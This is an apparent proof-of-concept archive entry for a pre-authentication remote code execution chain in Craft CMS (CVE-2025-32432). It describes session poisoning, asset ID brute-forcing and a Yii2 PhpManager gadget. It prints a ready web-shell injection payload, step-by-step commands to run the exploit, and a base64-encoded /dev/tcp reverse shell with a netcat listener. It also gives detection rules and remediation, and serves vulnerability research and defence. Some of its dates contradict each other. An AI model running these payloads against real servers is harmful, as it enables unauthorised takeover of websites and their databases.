Craft CMS Pre-Auth Remote Code Execution via Session Poisoning + Yii2 PhpManager Gadget (CVE-2025-32432)
Published: 2026-07-31 • Researcher: HeltonPojo (Go port; original discovery and PoC by c0gnit00 / GHSA)
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2026-03-20. Federal remediation deadline 2026-04-03.
EPSS 99.8% · 100th percentile
- Severity
- Critical
- CVE
- CVE-2025-32432
- Category
- web
- Affected product
- Craft CMS (craftcms/cms)
- Affected versions
- 3.x < 3.9.15, 4.x < 4.14.15, 5.x < 5.6.17
- Disclosed
- 2026-07-31
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-32432
- https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
- https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
- https://github.com/c0gnit00/CVE-2025-32432
- https://github.com/HeltonPojo/CVE-2025-32432
- https://www.exploit-db.com/exploits/52525
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://github.com/craftcms/cms/commit/e1c85441fa47eeb7c688c2053f25419bc0547b47
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-07-31 |
| Last Updated | 2026-07-30 |
| Author / Researcher | HeltonPojo (Go port; original discovery and PoC by c0gnit00 / GHSA) |
| CVE / Advisory | CVE-2025-32432 |
| Category | web |
| Severity | Critical |
| CVSS Score | 10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Status | Patched (Craft CMS 5.6.17+) |
| Tags | craftcms, rce, preauth, session-poisoning, php-deserialization, yii2, phpfpm, unauthenticated, go, cve-2025-32432 |
| Related | N/A — this is the incomplete-fix follow-up to CVE-2023-41892 (GHSA-4w8r-3xrw-v25g), a prior Craft CMS deserialization RCE |
Affected Target
| Field | Value |
|---|---|
| Software / System | Craft CMS (craftcms/cms) |
| Versions Affected | 3.x < 3.9.15, 4.x < 4.14.15, 5.x < 5.6.17 |
| Language / Platform | PHP 7/8 (Yii2 framework, PHP-FPM); this PoC is written in Go |
| Authentication Required | No |
| Network Access Required | Yes — HTTP reachability to the Craft CMS front controller (/index.php) and control panel routes |
Summary
Craft CMS shipped an incomplete patch for the earlier CVE-2023-41892 deserialization RCE, leaving a critical, pre-auth code-injection chain exploitable through the assets/generate-transform action. An unauthenticated attacker first poisons the server-side PHP session file by requesting ?p=admin/dashboard&a=<PHP payload>, which Craft reflects verbatim into the session data. The attacker then POSTs a crafted transform handle to the anonymous assets/generate-transform endpoint; the handle array is spread into a Craft::createObject() call, abusing Yii2 behavior attachment (as prefix) and the __class override to instantiate a yii\rbac\PhpManager gadget whose init() → load() → loadFromFile() performs a raw require on the poisoned session file, executing the injected PHP and returning command output. Rated CVSS 10.0 Critical, this was exploited in the wild (listed in CISA KEV) and is fixed in Craft CMS 3.9.15, 4.14.15, and 5.6.17.
Vulnerability Details
Root Cause
CWE-94 code injection via insecure deserialization of an attacker-controlled object graph in the asset transform generation feature. Craft exposes admin/actions/assets/generate-transform as an allowAnonymous action and spreads the user-supplied handle array into a Craft::createObject() call without sanitization. Yii2s Component::__set() treats array keys prefixed as as behavior attachments and keys named __class as object-class overrides, so a remote, unauthenticated client can construct arbitrary objects. Combined with a PHP session file the attacker can poison with arbitrary PHP (via the raw query string ?p=admin/dashboard&a= being persisted into session data), the yii\rbac\PhpManager gadget ends in loadFromFile(), which requires the specified file — turning the poisoned session file into executed code. This is the same code family as CVE-2023-41892; the fix for that earlier CVE was incomplete, which is exactly what CVE-2025-32432 covers.
Attack Vector
- Session + CSRF harvest —
GET /admin/loginreturns theCraftSessionIdcookie and a CSRF token embedded ascsrfTokenValuein the page. - Session poisoning —
GET /index.php?p=admin/dashboard&a=<?=passthru($_GET["cmd"]);die()?>injects the PHP payload into the PHP session file on disk (/var/lib/php/sessions/sess_<CraftSessionId>). - Asset ID brute-force — repeated
POST /index.php?p=admin/actions/assets/generate-transformforassetId1..300 using a probe handle (GuzzleHttp\Psr7\FnStreamwith_fn_close=phpinfo); a non-404 response marks a valid asset ID. - RCE trigger —
POST /index.php?p=admin/actions/assets/generate-transform&cmd=<command>with the validassetIdand a handle whose__classisyii\rbac\PhpManagerand whose__construct()setsitemFileto the poisoned session file;passthruexecutes the command and the output is returned in the HTTP response body.
Impact
Fully unauthenticated remote code execution as the PHP-FPM process user on the Craft CMS host. Because Craft CMS deployments typically hold database credentials, asset/queue services, and admin session state, compromise usually yields complete site takeover, database access, and a foothold for lateral movement. The chain requires no credentials, no CSRF bypass beyond the token retrieved from the login page, and no user interaction. A SensePost investigation tied the CVE to an in-the-wild exploitation campaign, and it is present in the CISA Known Exploited Vulnerabilities catalog.
Environment / Lab Setup
OS: Linux (any), PHP-FPM backend for Craft CMS
Target: Craft CMS < 5.6.17 (e.g. 5.6.16) with the default /var/lib/php/sessions path
Attacker: Go 1.26+ toolchain, git clone + go run
Tools: main.go (this folder), net/http client with cookie jarSetup Steps
| |
Proof of Concept
See
main.go(299-line Go port) in this folder — mirrored unmodified from HeltonPojo/CVE-2025-32432. The Go code implements the full chain end-to-end: harvestsCraftSessionId+ CSRF token fromGET /admin/login, poisons the session file via thea=query parameter, brute-forces a valid asset ID (1..300) with anFnStream/phpinfoprobe, then triggersyii\rbac\PhpManagerthroughassets/generate-transformto execute the chosen command. No obfuscation, no hardcoded C2, no destructive behavior — it only talks to the operator-specified target URL.
Step-by-Step Reproduction
Run the exploit with a benign command
Shell script1go run main.go -u http://target.com -c idThe script performs the full chain automatically and prints the staged progress.
Optional reverse shell — base64-encode a shell command with the operator IP/port, then pass it as the command:
Shell script1 2 3echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64 nc -lvnp 4444 go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"(Replace the base64 string with one generated for the operator IP/port.)
Exploit Code
See
main.goin this folder (full, unmodified upstream source). Core chain excerpt:
| |
Expected Output
[+] Obtained CraftSessionId: abc123def456...
[+] Obtained CSRF token: xyz789...
[+] Session poisoning request sent (HTTP 200)
[*] Brute-forcing Asset ID (best-effort)...
[+] Potential valid Asset ID found: 42 (HTTP 200)
[+] Using Asset ID: 42
Status Code: 200
[+] Server response:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Detection & Indicators of Compromise
GET /index.php?p=admin/dashboard&a=%3C%3F%3Dpassthru( HTTP/1.1
POST /index.php?p=admin/actions/assets/generate-transform (repeated, assetId incremented)
POST /index.php?p=admin/actions/assets/generate-transform&cmd=<command>
"as hack", "__class", "PhpManager", "FnStream", "FieldLayoutBehavior"SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Craft CMS CVE-2025-32432 generate-transform PhpManager probe";
content:"admin/actions/assets/generate-transform"; http_uri;
content:"__class"; http_client_body; content:"PhpManager"; http_client_body;
sid:9000102;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Craft CMS 3.9.15, 4.14.15, or 5.6.17 (or later) — the versions that fully close this chain. |
| Workaround | Block or rate-limit admin/actions/assets/generate-transform at a WAF/reverse proxy; add WAF rules rejecting bodies containing __class, as hack, PhpManager, or FnStream; keep the control panel off untrusted networks. |
| Config Hardening | Ensure the PHP session save path is not web-accessible and is not user-writable by unprivileged processes; monitor the session directory for injected PHP markers; restrict anonymous access to asset transform generation if not required. |
References
- NVD — CVE-2025-32432
- GitHub Security Advisory — GHSA-f3gw-9ww9-jmc3
- SensePost — Investigating an In-the-Wild Campaign Using RCE in Craft CMS
- Original PoC — c0gnit00/CVE-2025-32432
- Go port ingested here — HeltonPojo/CVE-2025-32432
- Exploit-DB 52525
- CISA Known Exploited Vulnerabilities Catalog
- Patch commit — craftcms/cms e1c8544
Notes
- Ingest source: the real upstream files were read directly before writing this entry (not just repo metadata). The Go port was reviewed in full and genuinely implements the four-stage chain (session + CSRF harvest, session poisoning, asset ID brute-force,
PhpManagerRCE) with no obfuscation, no hardcoded callbacks, and no destructive behavior. It targets only the operator-specified URL and command. - Author credibility: the HeltonPojo account (created 2020, commit identity
heltonpj5@gmail.com) is an established account that credits the original author (c0gnit00) directly in the upstream README. This is the Go port of the original Python PoC. - Version note: early public writeups cited Craft CMS 5.6.6 as the fix, but the authoritative GHSA and NVD records list the fully patched versions as 3.9.15, 4.14.15, and 5.6.17; this entry uses those.
- Session path caveat: the Go port hardcodes
/var/lib/php/sessions/as the PHP session save path (standard on Debian/Ubuntu PHP-FPM). Deployments using a non-standardsession.save_pathwould need that path adjusted to match. - Related CVE: CVE-2025-32431 is a separate Craft CMS issue disclosed around the same time (2025-04); it is not covered here. CVE-2025-32432 is itself the follow-up incomplete-fix for CVE-2023-41892 (GHSA-4w8r-3xrw-v25g).
| |